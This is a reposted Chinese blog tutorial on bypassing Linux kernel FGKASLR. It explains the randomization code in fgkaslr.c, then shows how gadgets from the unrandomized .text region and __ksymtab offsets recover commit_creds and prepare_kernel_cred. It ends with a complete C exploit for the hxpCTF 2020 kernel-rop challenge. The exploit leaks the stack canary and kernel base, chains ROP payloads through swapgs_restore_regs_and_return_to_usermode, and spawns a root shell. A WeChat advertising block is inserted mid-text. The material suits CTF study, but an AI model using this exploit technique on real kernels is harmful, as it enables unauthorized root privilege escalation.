Kernel-Pwn-FGKASLR保护绕过

这篇具有很好参考价值的文章主要介绍了Kernel-Pwn-FGKASLR保护绕过。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

FGKASLR

FGASLR(Function Granular KASLR)是KASLR的加强版,增加了更细粒度的地址随机化。因此在开启了FGASLR的内核中,即使泄露了内核的程序基地址也不能调用任意的内核函数。

layout_randomized_image

在fgkaslr.c文件中存在着随机化的明细。

/*
    linux/arch/x86/boot/compressed/fgkaslr.c
*/
void layout_randomized_image(void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs)
{
    ...
    shnum = ehdr->e_shnum; //获取节区的数量
    shstrndx = ehdr->e_shstrndx; //获取字符串的索引
    ...
    /* we are going to need to allocate space for the section headers */
    sechdrs = malloc(sizeof(*sechdrs) * shnum); //开辟一段空间用于防止节区头部
    if (!sechdrs)
        error("Failed to allocate space for shdrs");
​
    sections = malloc(sizeof(*sections) * shnum); //开辟一段空间用户防止节区的内容
    if (!sections)
        error("Failed to allocate space for section pointers");
​
    memcpy(sechdrs, output + ehdr->e_shoff,
           sizeof(*sechdrs) * shnum); //拷贝头部数据
​
    /* we need to allocate space for the section string table */
    s = &sechdrs[shstrndx]; //获取节区名
​
    secstrings = malloc(s->sh_size); //开辟一段空间用于防止节区名称
    if (!secstrings)
        error("Failed to allocate space for shstr");
​
    memcpy(secstrings, output + s->sh_offset, s->sh_size); //拷贝节区名称
​
    /*
     * now we need to walk through the section headers and collect the
     * sizes of the .text sections to be randomized.
     */
    for (i = 0; i < shnum; i++) { //遍历节区,选择需要重定位的节区
        s = &sechdrs[i];
        sname = secstrings + s->sh_name;
​
        if (s->sh_type == SHT_SYMTAB) { //遇到符号节区跳过
            /* only one symtab per image */
            if (symtab)
                error("Unexpected duplicate symtab");
​
            symtab = malloc(s->sh_size);
            if (!symtab)
                error("Failed to allocate space for symtab");
​
            memcpy(symtab, output + s->sh_offset, s->sh_size);
            num_syms = s->sh_size / sizeof(*symtab);
            continue;
        }
        ...
        if (!strcmp(sname, ".text")) { //第一个.text的节区直接跳过
            if (text)
                error("Unexpected duplicate .text section");
            text = s;
            continue;
        }
​
        if (!strcmp(sname, ".data..percpu")) { //遇到.data..precpu的节区也直接跳过
            /* get start addr for later */
            percpu = s;
            continue;
        }
​
        if (!(s->sh_flags & SHF_ALLOC) ||
            !(s->sh_flags & SHF_EXECINSTR) ||
            !(strstarts(sname, ".text"))) //若一个节区具有SHF_ALLOC与SHF_EXECINSTR的标志位,并且节区名的前缀属于.text则会进行细粒度的地址随机化
            continue;
​
        sections[num_sections] = s; //剩余的节区都放置到新开辟的空间中,进行细粒度的地址随机化
        num_sections++;
    }
    sections[num_sections] = NULL;
    sections_size = num_sections;
    ...
}

通过上述代码分析可知

  • 符号节区不进行细粒度的地址随机化

  • 第一个.text节是不会进行细粒度的地址随机化

  • 需要同时具备SHF_ALLOCSHF_EXECINSTR标志位,并且节区的前缀为.text才会被选择进行细粒度的地址随机化

可以看到layout_randomized_image函数还是会保持原有的节区偏移,但是会在内存中寻找另一个空间进行存储,这就导致在内核开启了FGKASLR保护时并不是所有的节区都以内核程序基地址作为基址进行偏移,想要做到任意内核函数的调用,就需要找到调用函数所处的节区的基地址,使得利用更加复杂化了。

FGKASLR保护的绕过

想要绕过FGKASLR,我们可以挑选不受影响的节区中的gadget进行ROP链的构造。

首先是不存在SHF_ALLOCSHF_EXECINSTR标志位的节区

其次是.text的节区,可以看到该节区存在0x200000的大小,因此可以挑选0xffffffff81000000 - 0xffffffff81000000 + 0x200000,可选的gadget还是比较充足的。

上述的节区都是不受FGKASLR保护的影响,只需要泄露出内核程序的基地址,就可以按照绕过KASLR的思路进行漏洞的利用。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

想要在内核态完成提权返回到用户态,我们需要调用commit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq

因此先来看commit_credsprepare_kernel_cred函数是否符合要求,可以看到commit_creds函数的地址为0xffffffff814c6410prepare_kernel_cred函数的地址为0xffffffff814c67f0都是超过.text的节区空间了(这里我是关闭了KASLR的)。

可以多运行几次环境,查看这个两个函数的地址,会发现末尾地址的偏移会一直在变化。(开启了KASLR)

cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"

第一次

第二次

可以看到第一次运行与第二次运行的地址是完全不一样的,但是处于不进行细粒度的节区ksymtab,只有中间的九个比特位(KASLR)发生了改变,其余部分是一致的。这也是KASLRFGKASLR的区别。但是实际的利用又需要用到这两个函数,因此还是需要特殊的手法泄露出这两个函数的实际地址。(1)能够泄露这两个函数现有的基地址(2)通过符号表进行地址读取。

这里采用(2)的手法进行函数地址的泄露,ksymtab节存放着内核函数的符号表,使用下述结构体进行维护。

struct kernel_symbol {
      int value_offset;
      int name_offset;
      int namespace_offset;
};
  • value_offset:内核符号的值的偏移

  • name_offset:内核符号的名称的偏移

  • namespace_offset:内核符号所属的命名空间的名称在内存中的偏移量或地址。

因此value_offset正是我们所关注的,这里需要注意的是这里的偏移地址是基于当前地址的偏移。以ksymtab_commit_creds为例,ksymtab_commit_creds的地址值为0xffffffffa8587d90,该地址存储的值为0xffa17ef0,计算的结果为0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80 ,结果刚好是commit_creds函数的地址值,这里说明一下为什么需要用(2^32 - 0xffa17ef0),因为value_offsetint类型,而0xffa17ef0是负数,因此需要先转换在进行相减才是实际值。

那么利用上述的方法就可以求出commit_credsprepare_kernel_cred函数的地址。

那么接着看如何获取swapgsiretq指令的地址,之前在介绍如何绕过kpti时介绍过一个特殊的函数swapgs_restore_regs_and_return_to_usermode,里面除了能够通过cr3转换页表,里面还具备swapgsiretq指令。在内核中搜索一下这个函数的地址,可以发现它处于.text节区的范围内,因此这个地址可以直接拿来用。

因此绕过FGKASLR的方法就出来了,首先是泄露内核程序基地址,通过该基地址获得__ksymtab_commit_creds__ksymtab_prepare_kernel_cred的地址,通过上述两个符号获取实际的commit_credsprepare_kernel_cred函数的地址,最后通过swapgs_restore_regs_and_return_to_usermode函数返回用户态。

hxpCTF 2020 kernel-rop

run.sh

qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0  kaslr kpti=1  quiet panic=1" \
    -s

这里还是使用 hxpCTF 2020的内核题作为例子

项目地址:https://github.com/h0pe-ay/Kernel-Pwn

之前提到过了程序存在栈溢出的漏洞,并且允许我们读取内核栈上的数据,通过读取内核栈上的数据可以泄露出canary的值以及程序的基地址,这里需要特别注意的是,当开启了FGKASLR时,不是所有的地址都可以用来计算基地址的,只能找在.text范围内的地址,否则是无法计算出内核程序基地址。因此这里选择0xffffffff8100a157的地址作为泄露地址。

那么在泄露了canary和地址之后就可以利用栈溢出完成提权返回用户态了,在之前的用户态下的利用,我们可以借助write或者是puts函数去读取地址中的内容,但是在内核态的利用则不需要这么麻烦了,例如可以先将__ksymtab_commit_creds地址赋值给rax寄存器,接着通过mov rax,[rax]; ret的指令完成对指定地址完成读取操作。这里我使用的gadget

0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]

首先利用pop rax; ret指令,将__ksymtab_commit_creds函数的地址赋值给rax寄存器,接着使用mov rax, qword ptr [rax];函数将__ksymtab_commit_creds地址的内容读取到rax寄存器中,那么接下来就是如何提取出rax寄存器。可以借助swapgs_restore_regs_and_return_to_usermode函数先暂时返回到用户态,接着采用内联汇编,进行值的提取。这里需要注意的是需要将ROP链与内联汇编分隔开,否则rax寄存器可能会被编译器优化掉,即会有清空rax寄存器的操作。并且所有找的gadget都必须是不会进行细粒度调整的节区中挑选,否则无法获取真实地址。

...
void start()
{
    unsigned long payload[256];
    unsigned int index = 0;
    for(int i = 0; i < (16); i ++)
        payload[index++] = 0;
    //iretq RIP|CS|RFLAGS|SP|SS
    payload[index++] = canary;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = image_base +  0x4d11; //pop_rax_ret
    payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
    payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
    payload[index++] = 0;
    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)leak_commit_creds;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    write(fd, payload, index * 8);
    
}
​
void leak_commit_creds()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov commit_creds_offset, eax;"
        ".att_syntax;"
    );
    printf("commit_cred_offset:0x%x\n", commit_creds_offset);
    commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
    printf("commit_cred:0x%lx\n", commit_creds);
    jmp_leak_prepare_kernel_cred();
}
...

在调用为prepare_kernel_cred后需要将rax寄存器的值传递给rdi寄存器中,因为需要作为commit_creds函数的参数。但是在.text中找了很久都没有合适的gadget,那么还是同样采用内联汇编,将rax寄存器的值读取出,再传递给commit_creds函数即可。这里又需要特别注意,最好不要使用太多的全局变量存储,否则会覆盖一开始保存的user_cs,user_rflags,user_sp,user_ss的变量值。因此在payload中我特定将这几个变量初始化的特定的值,使得这几个变量存储在.data段防止被其它的值覆盖。

因此针对FGKASLR保护的绕过,实际是利用FGKASLR特点,只在特定的区域中选取适合的gadget,从而将FGKASLR弱化为KASLR,进而继续利用。

exp

#include <stdio.h>
#include <fcntl.h>
​
/*
0xffffffff81006370: pop rdi; ret;  --  [0x6370]
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [0x200f10]
0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
0xffffffff81f87d90 r __ksymtab_commit_creds [0xf87d90]
0xffffffff81f8d4fc r __ksymtab_prepare_kernel_cred [0xf8d4fc]
*/
​
//iretq RIP|CS|RFLAGS|SP|SS 
#define MAX 1
int fd;
unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX;
​
unsigned long image_base;
unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long canary;
​
int prepare_kernel_cred_offset;
int commit_creds_offset;
unsigned long cred;
​
​
void save_state();
void backdoor();
void leak_commit_creds();
void leak_prepare_kernel_cred();
void get_cred();
void jmp_get_cred();
void jmp_leak_prepare_kernel_cred();
void jmp_get_cred();
void jmp_back_door();
void start();
​
​
void save_state()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "mov user_ss, ss;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("***save state***");
    printf("user_cs:0x%lx\n", user_cs);
    printf("user_sp:0x%lx\n", user_sp);
    printf("user_ss:0x%lx\n", user_ss);
    printf("user_rflags:0x%lx\n", user_rflags);
    puts("***save finish***");
}
​
void backdoor()
{
    puts("***getshell***");
    system("/bin/sh");
}
​
void start()
{
    unsigned long payload[256];
    unsigned int index = 0;
    for(int i = 0; i < (16); i ++)
        payload[index++] = 0;
    //iretq RIP|CS|RFLAGS|SP|SS
    payload[index++] = canary;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = image_base +  0x4d11; //pop_rax_ret
    payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
    payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
    payload[index++] = 0;
    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)leak_commit_creds;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    write(fd, payload, index * 8);
    
}
​
void leak_commit_creds()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov commit_creds_offset, eax;"
        ".att_syntax;"
    );
    printf("commit_cred_offset:0x%x\n", commit_creds_offset);
    commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
    printf("commit_cred:0x%lx\n", commit_creds);
    jmp_leak_prepare_kernel_cred();
}
​
void jmp_leak_prepare_kernel_cred()
{
    unsigned long payload[256];
    unsigned int index = 0;
    for(int i = 0; i < (16); i ++)
        payload[index++] = 0;
    //iretq RIP|CS|RFLAGS|SP|SS
    payload[index++] = canary;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = image_base +  0x4d11; //pop_rax_ret
    payload[index++] = image_base + 0xf8d4fc; //__ksymtab_prepare_kernel_cred
    payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
    payload[index++] = 0;
    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)leak_prepare_kernel_cred;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    write(fd, payload, index * 8);  
}
​
​
void leak_prepare_kernel_cred()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov prepare_kernel_cred_offset, rax;"
        ".att_syntax;"
    );
    printf("prepare_kernel_cred_offset:0x%x\n", prepare_kernel_cred_offset);
    prepare_kernel_cred = image_base + 0xf8d4fc + (int)prepare_kernel_cred_offset;
    printf("prepare_kernel_cred:0x%lx\n", prepare_kernel_cred);
    printf("jmp get cred\n");
    jmp_get_cred();
}
​
void jmp_get_cred()
{
    unsigned long payload[256];
    unsigned int index = 0;
    for(int i = 0; i < (16); i ++)
        payload[index++] = 0;
    //iretq RIP|CS|RFLAGS|SP|SS
    payload[index++] = canary;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = image_base +  0x6370; //pop_rdi_ret
    payload[index++] = 0;
    payload[index++] = prepare_kernel_cred; // prepare_kernel_cred
    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)get_cred;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    write(fd, payload, index * 8);  
    
}
​
​
void get_cred()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov cred, rax;"
        ".att_syntax;"
    );
    printf("cred:0x%lx\n", cred);
    jmp_back_door();
}
​
void jmp_back_door()
{
    unsigned long payload[256];
    unsigned int index = 0;
    for(int i = 0; i < (16); i ++)
        payload[index++] = 0;
    //iretq RIP|CS|RFLAGS|SP|SS
    payload[index++] = canary;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = image_base +  0x6370; //pop_rdi_ret
    payload[index++] = cred;         //cred
    payload[index++] = commit_creds; // commit_creds
    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)backdoor;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    write(fd, payload, index * 8);  
}
​
int main()
{
    save_state();
    fd = open("/dev/hackme", O_RDWR);
    unsigned long buf[256];
    read(fd, buf, 40 * 8);
    for(int i = 0; i < 40; i++)
        printf("i:%d\taddress:0x%lx\n",i, buf[i]);
    canary = buf[2];
    unsigned long leak_addr = buf[38];
    printf("leak addr:0x%lx\n", leak_addr);
    image_base = leak_addr - 0xa157;
    printf("ImageBase:0x%lx\n", image_base);
    start();
}

更多网安技能的在线实操练习,请点击这里>>文章来源地址https://www.toymoban.com/news/detail-540259.html

到了这里,关于Kernel-Pwn-FGKASLR保护绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • PWN保护机制以及编译方法

    Ctf中的pwn题,在利用gcc编译的时候,保护是如何开启的,如何编译出来的,保护都有什么由于在ctf中,大部分都是linux pwn,Windows pwn很少见,所以我这里以linux pwn来举例。 在pwn里,保护一共是四种分别是RELRO、Stack、NX、PIE。 1.RELRO(ReLocation Read-Only):分为两种情况,第一种情

    2023年04月09日
    浏览(35)
  • Semantic Kernel 入门系列:?Semantic Function

    如果把提示词也算作一种代码的话,那么语义技能所带来的将会是全新编程方式,自然语言编程。 通常情况下一段prompt就可以构成一个Semantic Function,如此这般简单,如果我们提前可以组织好一段段prompt的管理方式,甚至可以不需要写任何的代码,就可以构造出足够多的技能

    2023年04月10日
    浏览(29)
  • Semantic Kernel 入门系列:?Native Function

    语义的归语义,语法的归语法。 最基本的Native Function定义只需要在方法上添加 SKFunction 的特性即可。 默认情况下只需要传递一个string 参数就行,如果需要多个参数的话,和Semantic Function一样,也是使用Context,不过这里传进去是 SKContext 。在方法上使用 SKFunctionContextParameter 声

    2023年04月11日
    浏览(29)
  • 一种新的姿势:程序try/catch抛出异常之绕过canary pwn121

    一种新的姿势:程序try/catch抛出异常之绕过canary 我前面发了不少关于绕过canary的姿势,先总结一下,现在绕过canary的姿势有泄露,爆破,格式化字符串绕过,多线程劫持TLS绕过, stack_smashing,数组越界,今天介绍一种新的姿势,就是程序处理异常时,如果异常被上一个函数的

    2024年04月13日
    浏览(32)
  • PHP之Base64+php://filter绕过、disabled_function绕过

    目录 一、Base64+php://filter绕过 1.思路分析  2.实践验证 二、disabled_function绕过 上课讲了这样一道题,一起来看下(以下代码适用于PHP7.x及以上,5的版本会报错) 前端就是一个上传标签,没啥可看的 题目要求只能上传php文件,上传普通的一句话肯定不行,直接被过滤掉 普通Webs

    2024年02月12日
    浏览(35)
  • 4.4 x64dbg 绕过反调试保护机制

    在Windows平台下,应用程序为了保护自己不被调试器调试会通过各种方法限制进程调试自身,通常此类反调试技术会限制我们对其进行软件逆向与漏洞分析,下面是一些常见的反调试保护方法: IsDebuggerPresent:检查当前程序是否在调试器环境下运行。 OutputDebugString:向调试器发

    2024年02月12日
    浏览(29)
  • Socks5代理与网络安全:保护隐私、绕过限制与爬虫应用

    1. Socks5代理简介 Socks5代理是一种网络协议,允许数据在客户端与服务器之间进行传输。与HTTP代理不同,Socks5代理不仅支持TCP连接,还可以处理UDP流量,因此在某些需要实时数据传输的场景中表现出色。它能够代理各种应用层协议,为用户提供更灵活的网络体验。 2. 保护隐私

    2024年02月07日
    浏览(36)
  • 【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件

    在物联网设备的物理安全评估期间,目标之一是利用调试接口或可访问的芯片来研究设备的工作原理。理想的情况是提取完整的文件系统,以找到一种方法来获取对设备的 root 访问权限。然后,可以更轻松地检查正在运行哪些服务,并在需要时对其进行调试,以最终控制目标

    2024年02月03日
    浏览(41)
  • 【HUST】网络攻防实践|6_物联网设备固件安全实验|实验三 FreeRTOS-MPU 保护绕过

    写在最前:一定要 先将 task3.sct 文件链接到项目中 ,具体操作后文有写,而且我在附加内容里解释了sct文件的含义。 终于可以告别这个实践了。大家在心得里可以加一句“ 任务量较大,建议减少任务量 ”吗? MPU预设置: a) 编写 C 代码实现基于 FreeRTOS-MPU v10.4 的提权代码和

    2024年02月09日
    浏览(30)
  • CTFshow-pwn入门-前置基础pwn32-pwn34

    FORTIFY_SOURCE(源码增强),这个其实有点类似与Windows中用新版Visual Studio进行开发的时候,当你用一些危险函数比如strcpy、sprintf、strcat,编译器会提示你用xx_s加强版函数。 FORTIFY_SOURCE本质上一种检查和替换机制,对GCC和glibc的一个安全补丁。 目前支持memcpy, memmove, memset, strcpy, s

    2024年02月09日
    浏览(23)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包